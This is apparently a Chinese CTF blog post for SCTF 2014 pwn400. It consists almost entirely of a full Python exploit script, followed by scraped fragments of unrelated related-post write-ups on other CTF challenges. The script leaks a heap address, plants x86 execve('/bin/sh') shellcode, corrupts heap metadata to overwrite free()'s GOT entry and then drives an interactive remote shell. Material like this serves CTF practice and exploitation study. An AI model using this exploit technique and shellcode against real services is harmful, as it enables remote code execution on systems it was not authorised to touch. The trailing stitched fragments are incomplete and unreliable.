sctf pwn400

  这个题目在这个链接中分析得很透彻,不再多余地写了。http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400

  exploit:

from socket import *
import struct
import time

shellcode = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("192.168.200.7", 10001))

time.sleep(1)
print sock.recv(1024)
#new two note: 2, 1
for i in xrange(2):
     sock.send(‘1\n‘)
     time.sleep(1)
     sock.recv(1024)
     sock.send(str(i+1) + ‘\n‘)
     time.sleep(1)
     sock.recv(1024)
     sock.send(str(i+1) + ‘\n‘)
     time.sleep(1)
     sock.recv(1024)
     sock.send(str(i+1) + ‘\n‘)
     time.sleep(1)
     sock.recv(1024)
#new the third note: 3
sock.send(‘1\n‘)
time.sleep(1)
sock.recv(1024)
sock.send(‘3\n‘)
time.sleep(1)
sock.recv(1024)
sock.send(‘3\n‘)
time.sleep(1)
sock.recv(1024)
time.sleep(1)
#store shellcode in note 3
sock.send(shellcode+"\n")

#get the note 1‘s address
sock.send(‘3\n‘)
time.sleep(1)
print sock.recv(100)
sock.send(‘1\n‘)
time.sleep(1)
note1_addr = sock.recv(2048)
while note1_addr.find(‘location:‘) == -1:
     note1_addr += sock.recv(2048)
print note1_addr
note1_addr = note1_addr[note1_addr.find(‘location:‘) + 11:]
note1_addr = note1_addr[:note1_addr.find(‘\n‘)]
addr1 = int(note1_addr, 16)
print addr1
#note 2‘s address
addr2 = addr1 + 0x170
#note 3‘s address
addr3 = addr2 + 0x170
#shellcode‘s address
addr_shellcode = struct.pack("<I", addr3 + 0x6c)
#free()‘s Got: 0x0804a450
exploit = "A"*256+"BBBB"+struct.pack("<I",addr2)+addr_shellcode+"\x4c\xa4\x04\x08"

#edit note 1
sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n")
time.sleep(1)
print sock.recv(1024)

#delete node 2
sock.send("5\n")
time.sleep(1)
sock.recv(1024)
time.sleep(1)
sock.send(hex(addr2)[2:10]+‘\n‘)
time.sleep(1)
sock.recv(1024)

while True:
    sock.send(raw_input(‘$ ‘) + ‘\n‘)
    time.sleep(1)
    temp = sock.recv(2048)
    print temp
时间: 2024-10-03 21:54:28

sctf pwn400的相关文章

SCTF 2014 pwn题目分析

因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很符合套路的:一道栈溢出.一道格式化字符串.一道堆溢出. pwn200 一个栈溢出. 题目给出了libc.保护只有nx. 拿到题后的基本思路就是leak出got表中函数的地址,然后拿libc算偏移算出system的地址.然后用这个地址去覆盖一个函数的got表. pwn300 一个明显的格式化字符串漏洞

SCTF的一个WP------modbus

参加了个sctf比赛,也写一个WP,对就是一个.因为只做出了一个题目....,而且还是最简单的modbus协议的题目.作为一个刚刚出生的ctf小朋友,也非常值得欣慰的...不管做出了多少,总结是必要的,并且还要了解的透彻.1.首先打开题目,下载到了一个数据包.使用wireshark打开.里面存放了很多数据.看到题目首先百度一波modbus,原来这是一个工业协议. 来波这个协议的定义: Modbus 协议是应用于电子控制器上的一种通用语言.通过此协议,控制器相互之间.控制器经由网络(例如以太网)和

RCTF2015 PWN400 分析

和上一个一样,记录一下做题的思路. int sub_80487F7() { puts("Your Address:"); sub_804865D(0, (int)&unk_804B1E0, 256, 10); puts("Your Phone number:"); sub_804865D(0, (int)&unk_804B0C0, 256, 10); return puts("Thank you."); } 程序一开头就是这个,往

SCTF 2015 pwn试题分析

Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码,一脸懵逼.后来看了下汇编才明白是怎么回事. 解密直接打表就可以,也可以写逆算法. pwn1 用checksec看了一下保护机制,有canary+nx保护.漏洞是一个简单的栈溢出,但是没有办法劫持程序的流程. 因为flag已经被读到了内存中了,所以就想到去leak出来.后来知道有一种ssp leak

sctf pwn200

题目给出了pwn200和libc.so.使用IDA查看程序,发现逻辑很简单. 使用checksec查看pwn200的安全属性,如下图: 发现NX enabled,No PIE. 在第一次读(0x08048524位置)的时候,可以读取17个字节,观察栈结构: 发现可以将nbytes覆盖,可以覆盖为0xff. 在第二次读(0x08048596位置)的时候,可以覆盖程序的返回地址至“08048507 call    _write”,并且构造栈参数(为了泄露库函数的虚拟地址).如下: 这样程序一返回(0

sctf pwn300

拿到程序后,拉入IDA,大概看了一番后,尝试运行,进一步了解程序的功能. 发现NX enabled,No PIE. 一号是一个猜数字的游戏,二号是一个留言本,三号是打印出留言的内容,四号是退出. 观察IDA中逻辑后,发现一个格式化字符串漏洞. 在三号功能(Print your message)中0x08048837的printf调用处,存在格式化字符串漏洞.这个0x08048830处的src是二号功能(Leave a message)处留言的地址.即我们可以控制输入的内容,并且输出. 格式化字符

CTF学习之CODE

今年,国内各种CTF比赛应接不暇,第一次参加CTF是因为百度举办的BCTF.当时和几个好友一起参加了,过程相当的有趣,因此走上了这条不归路. CTF真的是很考验脑力的一个东西,题目涉及的范围相当之广,每次参加CTF我都有一个很强烈的感受:知识完全不够用,还是关掉浏览器滚回去好好学习! 今天,又是SCTF开赛,排行榜上各种大神我等只能膜拜,决心好好学习,系统的学一下,今天先从CODE开始. 我想,在CTF里面比较常见的要属摩斯码了.就是由点和横线组成的特殊符号串.如下图: 图中已经给的很清楚了,对

隐写术总结

隐写术总结 AppLeU0 · 2015/02/10 10:14 0x00 前言 之前还没有见到drops上有关于隐写术的总结,我之前对于隐写术比较有兴趣,感觉隐写术比较的好玩.所以就打算总结总结一些隐写术方面的东西.写的时候,可能会有错误的地方,请不吝赐教,谢谢. 本篇章中用到的隐写术的图片,都打包在了这里:隐写术图片,想去自己尝试一遍的话可以去下载. 最开始接触到隐写术,是看到一种叫做图种的东西,当时不懂,只说要另存为zip,然后解压出来就可以了,当时觉得特别神奇,就像发现了新大陆,然后就尝

SSCTF-PWN

前几天比赛的PWN题,简单写了下. PWN400 漏洞是一个数组越界访问造成的任意地址读写.在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节). 程序中存在3种数据结构,第一种是用于存储排序数据的基本块.可以定义为: typedef struct chunk1{ int size; int array[size]; }chunk1, *pchunk1; 第二种是用于索引这些排序数据块的基本块.可以定义为: typedef struct chunk2{ pchunk1